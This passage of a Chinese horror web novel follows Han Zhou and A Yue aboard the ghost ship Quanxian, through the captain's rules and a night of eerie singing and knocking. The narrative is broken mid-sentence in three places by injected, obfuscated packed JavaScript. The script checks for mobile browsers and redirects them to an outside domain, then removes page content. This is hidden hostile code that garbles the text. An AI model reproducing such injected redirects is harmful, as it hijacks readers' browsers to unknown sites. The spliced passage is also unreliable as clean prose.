海岸边凭空出现了数十人，有男有女，身着各色服装，皆是满脸迷茫之色。 “这是哪？” “我刚刚明明在街上…” “我怎么会到海边来了！” 众人惊慌失措的声音此起彼伏。 “这位姑娘。”其中有个身着青色长衫满是书生气的男子，无意间瞥见站在一旁的韩舟，语气中满是惊讶，“你这衣服…你怎么能穿黑色？” 韩舟感到莫名其妙：“黑色怎么了？” 青衫男子露出一副看傻子的表情：“黑色只能皇室才能穿，寻常百姓穿可是会被杀头的！” “…”韩舟无言以对，她倒是忘了，这个古代背景应该是有皇帝的，封建王朝就是有各种各样稀奇古怪的避讳，但是吧，他们还能追到怪谈里管她吗？在这里她只需要担心鬼怪。 “不好意思哈，但我就这一件衣服，换不了。”韩舟随口答了一句，青衫男子似是没见过这么胆大的，噎了半天说不出话来。 韩舟不再理他，沿着海岸边漫步起来，想找找看有没有线索，刚走了几步，就察觉到一道探究的目光落在她身上。 她顺着目光望去，是一位衣着彩绣辉煌的年轻女子，一头墨发梳成高高的发髻，发髻上簪着纯金挂珠钗，一看就非富即贵，这位女子定定站在那，似乎盯着她很久了。 当韩舟看清女子面容的时候，倒抽一口凉气。 她的脸竟然和蓝溪长得一模一样！唯一不同的是她眉心有颗红色小痣。 韩舟快步向女子走去，在她面前停住，上下打量她。 “蓝姐？是你吗？” 蓝溪是她新手关遇到的老玩家，韩舟刚被拉进怪谈的时候，跟所有新手玩家一样惶惶不安，不知所措，幸好蓝姐出现了。 “没事，老玩家不都是这么从新人过来的，我带你。”蓝溪的性格和她的长相一样，如朝阳般明媚温暖，她对大部分新人都很有耐心，教授他们有关规则怪谈的一切事宜。 只可惜… 面前的女子轻扬眉梢：“蓝姐？姑娘你认错人了吧？” …是啊，蓝姐早已经死了，这个女子可能只是跟她长得像而已。 “嗯…”韩舟魂不守舍地点了点头，“抱歉，是我认错人了。” “怎么，我长得很像你认识的人吗？”女子似是察觉到韩舟的失落，语调温和地问道。 “很像…简直一模一样…”韩舟看着女子熟悉的面容，忍不住想多在她身上找点故人的影子。 “既是如此，说明我们两个有缘，不如相互认识一下。”女子露出一个春光般和煦的笑容，“我叫阿月，你呢？” “我叫韩舟。”韩舟听到阿月这么说，发自内心地感到喜悦，她情不自禁拉住阿月的手，“阿月，我们能交个朋友吗？” 阿月露出有点意外的神色，她顿了顿，微笑着道：“当然可以。” 韩舟瞬间喜气盈腮：“阿月，你叫我小舟就好。”蓝姐也是这么叫她的。 “好的，小舟…”阿月眼里全是笑意，她也不是没见过刻意接近她的人，但像面前姑娘如此真挚的还是第一个。 “对了…”韩舟想起了正事，“你知道这里哪里有集市吗？” 阿月愣了一下：“我不知道…我本来就在逛集市，街上突然起雾了…等雾散去我就到了这里…” “…”看来又是被拉进怪谈的倒霉npc，韩舟叹了一口气，“没事，等会儿你跟紧我，有什么事我会处理。” 阿月：？ 看她一脸迷惑不解的表情，韩舟跟她解释：“这里可能会出现鬼怪…你别害怕，只要遵守它们的规矩，就不会有生命危险。” “我明白了…”阿月似是想起了什么，“我们这是遇上妖邪了…” 她神色凝重地看向韩舟：“听舍弟说，妖邪占领之地凶险异常，进入者九死一生，若不幸遭到邪祟侵蚀，就会化成鬼怪，永困于此…” “说的不错。”韩舟握紧阿月的手，“但并不是完全没有办法离开，放心，我会保护你的。” 阿月轻轻一笑：“那就多谢你了…小舟。” 周围一部分人似是听到她们的谈话，都围拢过来。 “所以我们这是撞鬼了？” “天哪，我真是走了霉运了！” 刚才提醒韩舟不要穿黑色的青衫男子一脸愁容：“我明明很小心了，从来不去偏僻之地，有闹鬼传闻的地方更是绕道走，为什么逛个集市也会中招啊…” 又是集市…韩舟看向其他人问道：“你们也是在集市上被拉到此地的吗？” “是啊…” “我也是…” “唔…”韩舟陷入沉思，看来每个怪谈选择npc进入的方式不同，像《深山古寺》那种是温和型怪谈，只是放出消息吸引npc进入，若是他们不靠近便也相安无事，但现在这个副本跟《遗失村落》一样，会主动挑符合条件的npc，强行拉他们进来… 面前这群npc就是被怪谈选中后拉进来的倒霉蛋了… 韩舟张了张口，准备说什么，却发现海上起雾了。 雾气越来越浓，将太阳遮蔽，金色沙滩暗淡下来，和海浪一起隐没在雾中。 其他人也发现了这突如其来的变化，纷纷惊疑不定地向海面望去。 原来的一片碧色只剩铺天盖地的灰白。 苍茫雾气中出现一个巨大黑影。 “怪物！是怪物！”有人惊声尖叫。 “别吵！”韩舟皱起了眉头，“叫那么大声，被怪物发现了，第一个死的就是你。” 此话刚落，人群果然安静下来。 浓雾中的庞然大物逐渐靠近岸边，就像海底沉睡的巨兽苏醒了，从深海中浮出水面，将巨大的利爪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751704|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸向人间… 青衫男子抖如筛糠：“神啊，保佑我…我不想死啊…” …韩舟对祈祷有点过敏，刚想提醒他别喊神了，突然感到她握在掌心的那只手在颤抖，本来暖和的手此刻变得冰凉，她看向身边的阿月，只见她面如金纸，眼中全是恐惧之色。 她在害怕。 韩舟还没见过蓝姐害怕的样子，她拍了拍阿月的手：“别怕，游戏…鬼怪一般不会刚开始就杀人的…” 除非有人一开始就违反了规则…但是现在规则还没出现，谁也不知道有没有人违反。 想到这，韩舟心里也开始打鼓。 阿月听到她的安慰，脸上勉强挤出一丝笑意。 话语间，那只巨物撕开雾气，降临岸边。 一阵强劲的海风袭来，吹散了雾气，太阳却并未出现，本来蔚蓝的天空此刻阴沉沉的。 沙滩上的金色沙粒都像掉了色般变得灰扑扑一片，五彩的贝壳化成腐烂的海藻，隐隐散发出恶臭。 他们好像一下从度假村来到地狱。 巨物露出了它的真面目，不过那不是什么怪兽，而是一艘巨大的船，船身高高耸立，如一座城楼漂浮在漆黑的海水中，上面的白帆迎风舞动，船头插着面血色旗帜，旗帜上印着几个大字。 “泉先号。” 好壮观的船啊…这是韩舟的第一反应，在她看来，眼前这只船就跟郑和下西洋的宝船差不多大了。 “泉先号…”阿月在旁边念叨了一句，语气中有讶异。 “你听说过？”韩舟问道， 阿月犹豫了下，轻轻开口：“听说过，这是父…当今圣上派出海寻找长生不老药的船。” “长生不老药？”韩舟撇了撇嘴，秦始皇也曾经派徐福出海找过，结果是竹篮打水一场空…这世上哪有长生不老这种好事，就算真的可以长生不老，那也不是人了… “所以肯定是没找到吧？” 阿月看了韩舟一眼，神色复杂，半晌后她微微颔首，“是的，不但没找到，这艘船也没有回来过，据传是遇上海难…没想到竟然出现在这里…” “…”韩舟摸了摸下巴，听着就是个不吉利的故事。 “泉先号！这艘船不是早就失踪了吗？” “不会是船上的人回来了吧？” “都这么长时间了，船上的人早死了吧…” “那回来的还能是人吗？” … 众人议论纷纷，却也心有顾忌，压低了声音。 那艘船安静地停在海岸边，如同中世纪的古堡一样充满着不详的气息。 过了好一会儿，巨船有了动静，一架长长的梯子从船上伸出，稳稳落在海滩上。 船舱里走出一个披着黑色斗篷的中年男子，他顺着梯子缓缓而下，来到众人面前。 常年在海上风吹日晒的人本应皮肤黝黑，可眼前这个人却面色苍白，似是很久没见太阳了。 他的嘴唇猩红，湿润润的，像刚饮过鲜血，一双眼就如同漆黑的海水。 他目光森然，唇角却带笑。 “各位，欢迎来到泉先号。” 31. 阴阳集市（二） “各位，欢迎来到泉先号。” 披着黑色斗篷的中年男子微微欠身，面上表情皮笑肉不笑：“我是泉先号的船主。” 韩舟听到身侧的阿月轻轻吸了一口气。 “怎么了？” “无事。”阿月摇了摇头，心里却惊骇万分，眼前这个自称船主的人，分明是陛下当初派出海寻找长生不老药的方士之一。 船主阴冷的目光扫过众人，在韩舟和阿月的身上停留了一瞬，又移开视线，继续道：“诸位请上船吧，我将带领你们去鬼市。” 韩舟听到“鬼市”两个字眼睛一亮，此次怪谈的主题终于出现了。其他人却似炸开了锅。 “鬼市？听着就不是好地方。” “我不想去！放我回家！” … 船主冷笑一声：“不想去也行，你们可以原路返回。” “原路返回”这四个字提醒了众人，他们纷纷回过头，才发现身后的海滩被一片浓雾笼罩，雾中黑影攒动，似是蛰伏着什么可怕的东西。 韩舟知道自己必须出头了，否则这些npc可能要作死，她提高声音道：“各位还是听船主的话，赶快上船吧。” 说完她就拉上阿月，一马当先，踩上了通往泉先号大船的梯子。长长的梯子悬在半空中，周围没有护栏，下面就是翻滚的海浪。 韩舟每走一步，梯子都会轻微晃两下，弄的她一颗心脏也七上八下乱跳。 “小舟…”阿月充满担忧地开口，“船上一定很危险。” “我知道，可是不上船就是死路一条，上了船还有一线生机。”韩舟口中安慰着阿月，注意力全放在脚下的梯子上，一步一步小心翼翼向上攀爬。 眼见韩舟和阿月上了梯子，有几人犹豫片刻后，也跟了上来。剩余的人面面相觑，不知如何是好。 “我劝诸位快些上船。”船主阴森森开口，“时间一到船便要出海，没上船的人只能永远留在这里了。” 听到“永远”这个词，又一波人争先恐后登上梯子，生怕被留在这个可怕的地方。然而还有几个人依旧站在原地没动，其中便有那个青衫男子。 “不能上船，这船上一定有鬼…”青衫男子自言自语，身体不断颤抖。 船主冷冷扫了他一眼，便仰头看向天空，天幕压得很低，灰云密布，似是风雨欲来。 过了会儿功夫，他冷淡开口：“时间差不多到了。”话音刚落，他看也不看留在岸上的几人，转身走上梯子，梯子在他的脚下纹丝不动。 他走得极稳，如履平地。 海滩上的雾气越来越浓，逐渐向海面弥漫。岸上剩下的几人愈发不安起来。 霎时间，迷雾中伸出一双苍白的手臂，抓住岸上一人的肩膀，那人来不及挣扎就被拖进雾里，先是一声惨叫响起，随后传来一阵“咯吱咯吱”声，像是咀嚼骨头的声音。 韩舟刚在甲板上站稳，看到这副景象，连忙冲岸上大喊了一声：“快上船！”岸上剩余的人这才如梦初醒，纷纷向梯子跑去。 几人用劲全身力气狂奔，谁知迷雾竟像活了一样，粘在几人身后，如同野兽在追逐猎物。有的人跑得慢了些，便被雾气吞没，惨叫声接二连三从雾中传出，伴随着“咯吱咯吱”的咀嚼声。 青衫男子跑在最前头，要看就要登上梯子了，雾气已蔓延到他身后，他加快脚步，刚一脚踩上梯子，一只苍白的手从雾中钻出，抓住了他的脚踝。 “不要…”青衫男子使劲向后蹬脚，想摆脱这只手，那手却死死抓住他的脚踝不放。 而此刻船主已经登上了船，他回头看了一眼抓着梯子勉力向上爬的青衫男子，嘴角浮起一丝嘲讽的笑意。 他缓缓伸出手，轻轻一挥，悬在巨船和海滩之间的梯子像燃烧的香烛般融化了，还在梯子上的青衫男子一脚踩空，向下摔去，跌进了浓雾中。 “啊！！”一声惨叫响起。 “咯吱咯吱”的咀嚼声又从雾中传来。 众人一时间被这副场景骇得说不出话来。 “泉先号一向守时，绝不等人。”船主冷冷道，“诸位，请进船舱吧。” … 船上安静得针落可闻，无人回话，也无人敢动。 韩舟也没有说话，她正在仔细打量四周寻找规则，可是没看到丝毫规则的影子。 奇怪，她每次刚进怪谈，规则都会摆在最显眼的位置，这次是怎么回事？ 沉思片刻，韩舟反应过来，他们这是在去“鬼市”的路上，也就是说，她还没进入真正的怪谈地带，类似于《深山古寺》中她还在上山的路上，没有进入兰古寺，自然看不到规则。 可目前的情况，还没进怪谈就危险重重…该怎么办？没有规则的指导，韩舟有点头疼，但没办法，目前只能走一步看一步了。 “听船主的吧。”韩舟率先开口打破了寂静，拉起阿月的手，走进船舱，众人互相低声交谈了一阵，也纷纷跟上。 船主看着韩舟的背影，面上森冷的笑意加深。 进入船舱，韩舟又一次被震惊。这里陈设精美，金碧辉煌，就像个地下宫殿，雕刻着蛟龙的墙壁上挂着一只只灯盏，橙色火苗在盏中轻轻跳动。 “这皇帝真奢侈…就出个海还把船装修成这样…”韩舟感觉自己是刘姥姥进了大观园，哦不，比这还夸张。只是这船舱中虽灯火通明，却充满压抑感，空气中弥漫着股腐朽气息，人在其中如同置身古墓。 听到韩舟这话，阿月看了她一眼，抿了抿嘴唇。 “船上房间充足，各位可随意挑选自己喜欢的房间，每日三餐都会提前为各位准备好，由船夫送到你们房间门口。”船主在一边慢悠悠开口，“不过，有些规矩需要你们遵守…” 出现了，规则！韩舟立刻竖起耳朵，凝神倾听。 “其一，没事不要出船舱，更不要靠近海面。” “其二，远离一切鱼，以及…像鱼的东西。” “其三，入夜后把房门锁好，除了船夫敲门外，不论听到什么声音都不要开门。” “其四…”船主停顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774370|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，舔了舔嘴唇，“不要妄想离开泉先号。” “先说这么多，其他的等我想起来再告诉你们。”船主嘲讽似地扯了扯嘴角，“若有不遵守规矩者…后果自负。” 听到这番话，众人面上俱是惊惧之色。 船主挤出一个僵硬的笑容：“各位先去挑选房间吧，房间在这大厅两侧，按“天地玄黄”顺序排列。如果选定了房间，就不要轻易换房。” “还有，我住在天字一号房，有问题可以来找我，不过…若无甚紧急的事，最好不要来。” 船主说完这些话，缓慢转过身，漆黑的身影渐走渐远，隐没在船舱深处。 韩舟看着船主离去的背影，心中忽然涌出一个念头：“船主说的规则，就是全部吗？或者说，一定是真的吗？” 有了上次怪谈的经历，她不敢再轻信开头没有“xx玩家须知”的规则。她犹自盘算着，其他人已经开始议论。 “这船到底是怎么回事？还有这船主…是活人吗？” “嘘…小声点，别被船主听到。” “听不听到都一样，我们已经上了这鬼船了，看来是逃不掉了…” “别说丧气话！先找找看有没有离开的办法。” “刚才船主不是说了不要妄想离开这里吗？” “那怎么办？我们要在这里等死吗？” “…” “各位…”一位年纪稍长的男子发话，“我们先去选房间吧，船主说的规矩，大家都记牢了，千万不要违背。” “目前也只能这样了…” 众人又交谈了一阵，纷纷向两侧的房间走去。 阿月努力维持面上的镇定，看向韩舟：“小舟，我们也去挑选房间吧。” “嗯。”韩舟点了点头，“我们得挑个离天字一号房远一点的房间。” “我也是这么想的，那位…船主行事诡异，所说之话不可尽信。”阿月言行举止流露出和蓝溪不一样的气质，蓝姐活泼明媚大大咧咧，阿月却偏向端庄稳重。 韩舟眨了眨眼睛，阿月虽性格和蓝姐不同，但这聪明敏锐却很是相似啊。 二人走向一间玄字号房，推开房门。 这间房依旧富丽堂皇，房正中有一张大床，帷幔低垂，甚是豪华。紫檀木桌上放着一盏精致的油灯，似乎是纯金铸造的。 “哈哈哈，让我也享受一下公主的待遇吧！”韩舟一个猛子扎进柔软的被褥里，发出几声狂笑。 阿月：… 韩舟在床上翻滚了两下，又坐起身，对着阿月拍了拍床褥：“阿月，来坐，我们来商讨下接下来该怎么办。 阿月深吸一口气，微微提起裙摆，在床的边缘坐下，只占据了床的一小块位置。 啧啧，连坐姿都这么大家闺秀！韩舟在心里默默感叹一句，轻轻咳了一声，准备进入正题：“首先来聊聊泉先号吧，除了你之前跟我说的，还有别的信息吗？” 阿月微微一怔，沉默了片刻，缓缓道： “刚才那个船主，我认识他。” 32. 阴阳集市（三） “哦？说来听听”韩舟朝阿月挪近几步。 “他名为房君，是陛下派去寻访仙药的方士，当初他携数千童男童女乘泉先号出海，一去数年杳无音讯，两年前忽然独自一人返回…” 阿月顿了顿，继续道：“他跟陛下说，仙岛本已寻到，可遇到一条大鱼拦路，那鱼据说…形状十分可怕，泉先号除了他以外一船人都葬生海中，陛下听后便命弓弩手入海射杀了那条鱼怪… “之后房君又携数百人乘船出海，这一去再不复返…” 大鱼拦路？射杀鱼怪？这跟徐福东渡的故事好像…这个怪谈背景是参照了这段历史吗？ “他就是跑路了呗…”韩舟撇了撇嘴。 阿月叹了口气：“也有此类传言，不过更多的是说他已死在海难中…” “无论是哪种传言，他现在都应该不是人了。”想起船主皮肤苍白的不正常样，韩舟的危险雷达狂响，但她不能现在就杀死这个怪物，因为还没到鬼市，如果半路船就失去了船主，她可没把握能把船开到目的地… 二人谈话间，敲门声响起，韩舟打开门，门外站着一对长相很相似的女子。 个头稍高的那个说：“打扰了姑娘，我叫方兰。”她指了指旁边看着有点腼腆的姑娘，“她是我妹妹，方竹，我们碰巧看到你和另外一位姑娘进了这间房…” “请问有什么事吗？”韩舟问道。 “我们和其他人正在一起商讨逃离的办法，你要不要来？”方兰微笑道。 “好，我一会儿就过来。”韩舟点了点头。 目送方兰和方竹走后，韩舟进了屋，对阿月说了这事，二人一起出了屋来到大厅，见那里已经聚集了不少人，正在低声交谈。 “诸位，我姓孟，是个教书先生。”开口的是之前让大家守规矩的那个年长男子，蓄着山羊胡须，“我们同是天涯沦落人，都是被迫来到这“鬼船”上的。不如齐心协力想办法活下来。” “孟先生你说的倒轻巧…”有人嘟囔，“既然是鬼船，我们又都是凡人，如何逃出生天呢？” “依在下所见…”孟先生慢条斯理道，“不如又从船主所说的规矩入手…这些规矩乍一听古怪，实则隐含深意…” 韩舟听到这里，想着必要跟这些npc说一下规则的事，便清了清嗓子开口：“孟先生说的有道理。” 孟先生的目光向她看来，微微颔首示意她继续。 “这第一条规矩和第二条可以连起来看。”韩舟继续说，“其一，没事不要出船舱，更不要靠近海面。其二，远离一切鱼，以及…像鱼的东西。” 韩舟顿了顿，想到阿月说的那条被射杀的鱼怪。 “不能出船舱、靠近海面在警示我们不要接触海，结合第二条远离鱼，这两条应该是在告诉我们要远离海里的东西…。” “其三，入夜后把房门锁好，除了船夫敲门外，不论听到什么声音都不要开门。” “可能是在说…这些东西晚上会爬上船…” 听到这话，众人脸色皆是一变。 “晚上会爬上船…我们晚上把门锁好就能防止它们进来吗？”一个身材魁梧的汉子开口问道。 “不能确定，但目前也只能这么做了。” 韩舟看提醒的差不多了，便退后几步，对着身旁的阿月小声道：“我们回去吧…”阿月看了眼还在小声议论的人群：“不再听听他们说什么吗？” “没有必要。”韩舟道。 “那船主呢？他看着也挺吓人的…”有人继续发问。 “船主现在还没动手，证明他暂时没有攻击我们的打算，何况，他还要带我们去鬼市…”回答的是孟先生。 “这个鬼市又是什么地方…” 孟先生捋了捋胡须，缓缓道：“鬼市据传是鬼怪在人间的交易之地，只有鬼魂才能进入…” “只有鬼魂才能进？那我们为什么能去？难道我们已经…”魁梧汉子脸色大变。 “梅大，别乱说，你摸摸自己的鼻子，不还喘着气嘛…”魁梧汉子旁边一人用手臂碰了他下。 “倒也是哦…”梅大憨憨地摸了摸后脑勺。 韩舟和阿月没再继续听下去，返回房间。 这间房是有窗户的，只不过目前紧闭着。韩舟走过去将它打开，一阵带着咸腥味的海风灌入房中，桌上油灯里的灯火跳跃了一下，却并未熄灭。 “韩舟？”阿月语气中有疑惑。 “现在先通通风，晚上就不能打开了。”韩舟嘴里说着话，朝窗外看了看。 天空依旧阴沉，低低压在漆黑的海面上，天与海的界限变得模糊。海水乍一看如同翻滚的乌云，他们脚下的船仿佛在云中穿梭，头顶才是大海。 这茫茫大海上除了泉先号，再无别的船只，让人有种置身与世隔绝的荒岛之感。 韩舟正准备收回视线，却见漆黑的海水中有什么东西浮了上来。 那是一颗人头。 那颗头颅面色惨白，双目紧闭，浓密的头发如海藻一般漂在海水中，随着海浪沉浮。 这是…溺死在海水中的人？韩舟定了定身，将身子微微伸出窗外，仔细望去。 那颗人头蓦地睁开了眼睛。 韩舟有种感觉，它在看她。 她猛地倒退几步，将窗户关上。 “小舟，怎么了？”阿月听到韩舟这儿的动静，走了过来。 “没什么事，别看。”韩舟拦住了阿月，阿月面露不解，她侧目看向禁闭的窗户，透过一层窗户纸，海面显得迷蒙不清，神秘莫测。 随后阿月无视了韩舟的阻拦，径直走上前打开了窗户。 韩舟：… 等二人再向窗外望去时，那颗人头已经消失了，唯有漆黑的海浪翻滚不息。 阿月看向韩舟，眼里满是疑惑。 韩舟只能耸了耸肩。 此时门外响起了敲门声。阿月抿了抿唇，走过去打开了门。 一个身着黑色长袍的人站在门口，手捧食案，案上摆着几样吃食，他的面色如船主一样苍白，嘴唇红的像饮过鲜血。 这应该是来送饭的船夫了。 阿月轻轻皱了皱眉头。 “二位，这是你们的晚饭。”船夫面无表情地将食案递给阿月，冰冷的目光在阿月身上逡巡了圈，阿月穿的是坦领宽袖襦裙，白皙光滑的脖颈暴露在外，船夫的目光在她颈边停留了一瞬，又移开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798271|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿月微微犹豫了下，伸手接过。 待船夫走后，韩舟凑到阿月边上：“这人你也认识？” “不认识。”阿月摇了摇头。 “你刚才的反应有点奇怪。” “我总觉得他看我的眼神…”阿月喃喃道，“像在看食物…” 韩舟沉默了一瞬，开口：“别怕，只要不违反规则，这些船夫不会攻击人，而且，有我保护你呢。” 不过韩舟心里有些打鼓，这船上究竟有多少怪物？加上海里的又有多少？自己能应付的来吗？ 阿月沉思片刻，将发髻上的金钗取出，掷于桌上，一头乌发失去了发钗固定，如打翻的墨一般散落在肩。 “阿月？”韩舟有些惊讶。 阿月伸手从裙摆上撕下一长条布，将披散的长发高高束起，轻轻开口：“带着饰物行动不便，若是鬼怪来了…很难逃脱。” “很有道理…”韩舟对面前这位随手扔掉金银的大小姐肃然起敬，但是吧，就这么一条船，能逃到哪里去… 沉思间，韩舟感到腹内传来股饥饿感，她见食案上的食物还冒着热气，便取了筷子，“我们先吃饭吧…” 食物的种类还算丰富，唯独少了鱼。韩舟避开肉类，只夹了素菜，阿月见状也有样学样。 此时隔壁的方兰，方竹俩姐妹也在吃饭，方竹面色愁苦，看着眼前的食物难以下咽：“阿姐，你说我们该怎么办啊？” 方兰瞥了方竹一眼，往她碗里夹了两块肉：“没事，该吃吃，该喝喝，多大点事，别往心里搁。” 方竹无奈叫了一声：“阿姐…” “别喊姐了。”方兰揉了揉太阳穴，“喊姐也没用，孟先生不是说了吗，只要遵守规矩，鬼怪就不会轻易害咱们的…好了，快吃饭吧，再不吃，饭要凉了。” “哦…”方竹讪讪夹了碗里的肉放到嘴里，嚼了两下，“姐，我们也太倒霉了，不过是去集市上摆摊想赚点小钱，就被拉到这个鬼地方…娘在家不知道有多担心咱们呢。” “唉…”方兰听到这话也不禁停住筷子，叹了口气，“谁说不是呢，可惜了我们绣了几天几夜的手帕…”她抬头瞧见方竹发白的小脸，伸出手在她脸上揪了一下。 “别怕，有姐在呢，就算有鬼怪，姐也会挡在你前面的…” “阿姐…”方竹愣愣叫了一声。 夜幕降临，万籁俱寂。 漆黑的天空与海水彻底融为一体，再分不清哪片是天，哪片是海。 韩舟检查了遍窗户，确认关紧了，这才坐到床边。 阿月正襟坐在床上，低头沉思着什么。 “别担心，睡吧，晚上听到任何声音不要搭理便是。”韩舟轻轻拍了拍阿月的肩。 看着案上的那盏油灯，韩舟想了想，准备把它吹灭，屋里亮着灯，无异于告诉鬼怪屋里有人，实在是有点危险。 于是韩舟朝油灯吹了一口气。 灯盏中的火苗晃了两下，依旧明亮。 韩舟想是不是自己吹的气不够，便憋了一大口气又吹了下。 油灯还是亮着。 韩舟无语，索性走过去，用手在火苗使劲扇了扇。 灯火还是没有熄灭。 33. 阴阳集市（四） “这什么玩意儿…”韩舟忍不住捧起烛台，仔细端详起来，“为什么吹不灭？” 金色灯盏里有一团粘稠的油状物质，上面一点橙色火苗跳跃着。 韩舟看了半天没看出名堂，阿月走过来看了看：“这灯的油…似乎有点特别。” “阿月，你看的出是什么油吗？”韩舟将灯盏递到阿月眼皮底下。 阿月摇了摇头。 韩舟想了想决定放弃，把灯盏放回案上。 “算了，咱们睡觉吧。” 她也想过要不要一杯水泼上去，但是这灯盏既然如此特殊，贸然毁坏可能会出问题。 二人都没有脱衣服，合衣躺在床上，同盖一床被子。在怪谈里谁也没有心思脱衣服睡觉，总不能出现鬼怪还慌里慌张爬起来穿衣服。 烛火幽幽晃动，在墙壁上投下摇曳的灯影。 阿月睁大眼睛望着天花板毫无睡意，而一旁的韩舟则因为床褥又软又舒服，加上之前精神紧绷累的慌，不到半刻功夫就进入梦乡。 阿月侧过脸，看着韩舟安稳的睡颜，叹了口气。 不知过了多长时间，阿月耳边传来滚滚海浪声，她发现头顶的天花板染上墨色，变成一片夜空。 天幕压的很低，像倒扣的砚台，快要碰到她的头顶。 一股寒意包裹住她的全身，冰冷的水灌入她的口中，阿月挣扎了两下，将口中的水吐出，咳嗽了好几下，等气息平稳下来，她环顾四周，周遭是一望无际的大海，她的身体浸在漆黑的海水里。 泉先号大船在离她不远处，灯火辉煌。 她为什么会在海里？ 但此时也没法考虑太多，阿月张开双臂划动起来，朝泉先号游去。 海水冰寒刺骨，她游了很久，直到四肢快要冻僵，还没游到船边，泉先号依旧停在不远处，没有靠得更近，也没有离得更远。 就像是海市蜃楼。 不对劲…阿月停了下来，感觉身体像灌了铅似的越来越沉，湿漉漉的长发像海草般缠绕在她的脖颈上，还有几缕粘在她的脸上。 她闭上眼，将脸颊上的发丝拨到耳后，再睁开眼时，她附近的海面浮起一颗颗头颅。 这些头颅面露狰狞，随着漆黑的海水沉浮，面白得像纸糊灯笼，凸起的眼珠死死盯着她。 阿月的心提到嗓子眼，她想逃开，这些头颅却围成一个圈，将她困在其中。 它们同时张开了嘴，发出一阵幽幽歌声。 “式微，式微！胡不归？微君之故，胡为乎中露…” … 阿月猛然从床上惊醒，她坐起身，抹了一把额头，发现手上全是冷汗。 旁边的韩舟早就醒了，她抱膝坐在床上背对阿月，面向窗户的方向。 “小舟？”阿月轻轻唤了她一声。 “嘘，你听。”韩舟回过头来，对着她比了个噤声的手势，“下雨了。” 窗外传来一阵哗啦啦的雨声。 雨势很大。 “是不是有人在唱歌？”韩舟喃喃道，不知道是在发问还是陈述一个事实。 仔细听去，瓢泼大雨中确实夹杂着微弱的歌声。 “式微，式微！胡不归？微君之故，胡为乎中露…” … 与此同时，她们隔离的房里，方竹也从梦中惊醒。 她摇醒了一旁熟睡的姐姐方兰。 “阿姐，醒醒。” “怎么了？”方兰睁开惺忪的睡眼，猛地翻身坐起，“鬼怪杀进来了？” “不是…”方竹小声道，“阿姐你听，是不是有人在唱歌？” “唱歌？大半夜谁没事唱歌啊？”方兰嘴里嘟囔着，还是下了床，走近窗户察看。 “咦，外面下雨了？” 窗外漆黑一片，依稀可以看到磅礴的水幕。 “没听见有人唱歌啊…”方兰在房里绕了一圈，疑惑地看向方竹。 方竹举起手：“我真的听见了，我…我刚才还做了个噩梦，梦到…” 她还没说完，“咚咚咚”一阵敲门声响起… … 外面的雨声渐渐停了，韩舟又凝神听了半天，直到听不到任何声音，才放松下来。 她转过头，看向阿月，见她额头上都是细密的汗珠，感到有些奇怪：“阿月，你怎么了？流这么多汗，这天气也不热啊…” 阿月抬手擦去额上汗水，吐出一口浊气：“小舟，我刚才做了一个噩梦。” “什么噩梦？”韩舟一怔，刚才自己睡得可香了，什么也没梦到。 “我梦到…我掉落进海中，周围围绕着很多尸体…” “我听到…那些尸体在唱歌…” 尸体在唱歌？韩舟皱起了眉头，她想起了自己之前在窗外看到的那颗头颅。 阿月梦到的是那种“东西”吗？ 可是为什么阿月梦到了，自己却没梦到？ 她瞧了瞧阿月的眼睛，眼白干净，眼神清明，应该是没被污染。 她想了想，还是取出一张污染试纸，拉起阿月的手，将符纸放在她手中。 “阿月，这个你拿着…”她瞥了一眼符纸，没有变黑。 “这是…”阿月脸上浮现一丝惊愕，看韩舟的眼神变了，“小舟你是方士？” 韩舟没办法，只能又开始胡扯：“算是吧…” 阿月眼睛亮了起来，露出了崇敬的神情：“我竟不知你是方士…那你来此，是为了清除此地的邪祟吗？” 韩舟汗颜：“…算是吧…” 阿月双手握住韩舟的手：“是我眼拙，看不出小舟你竟是高人，若你能清除邪祟，拯救这里的人，当受阿月一拜…” 韩舟是明白了，这个世界方士的地位真高啊…她默默感叹下后急忙道：“拜就不用了，这是我应该做的，都是为人民服务！” 随后她尴尬地笑了笑，还想着接下来说点什么光辉台词，就听门外传来“咚咚咚”的敲门声。 这么晚了，谁在敲门？韩舟警觉起来，她和阿月对视一眼，同时默契地闭上嘴，不再发出声音。 门外的“东西”似乎很有毅力，敲门声“咚咚咚”连绵不断。 韩舟和阿月连呼吸都放轻了。 敲门声持续响了一段时间后，停了下来。 门外又恢复了寂静。 韩舟和阿月又等待片刻，见门外彻底没有 